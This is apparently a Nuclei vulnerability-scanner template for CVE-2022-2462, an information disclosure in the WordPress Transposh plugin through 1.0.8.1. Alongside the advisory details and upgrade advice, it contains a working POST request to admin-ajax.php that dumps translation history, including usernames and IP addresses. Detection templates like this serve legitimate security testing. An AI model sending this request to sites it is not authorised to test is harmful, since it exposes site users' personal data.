id: CVE-2022-2462 info: name: WordPress Transposh <=1.0.8.1 - Information Disclosure author: dwisiswant0 severity: medium description: | WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations. impact: | An attacker can exploit this vulnerability to gain sensitive information from the target system. remediation: | Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt - https://github.com/oferwald/transposh - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462 - https://nvd.nist.gov/vuln/detail/CVE-2022-2462 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-2462 cwe-id: CWE-200 epss-score: 0.01205 epss-percentile: 0.83593 cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: transposh product: transposh_wordpress_translation framework: wordpress tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm,transposh http: - method: POST path: - "{{BaseURL}}/wp-admin/admin-ajax.php" body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history headers: Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: dsl dsl: - "len(transposh) > 0" # 'transposh' equivalent for Transposh header key - type: word part: body words: # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]` - "translated" - "translated_by" - "timestamp" - "source" - "user_login" condition: and - type: status status: - 200 # digest: 4b0a004830460221008cb6b7f4487e12cb2b4bc1c2fdbc11a672257a852e36f217d757672503fd0969022100997c1e5936ee270653d950c7181b1aab9984dda8bc0e27f850ee38287893fcd8:922c64590222798bb761d5b6d8e72950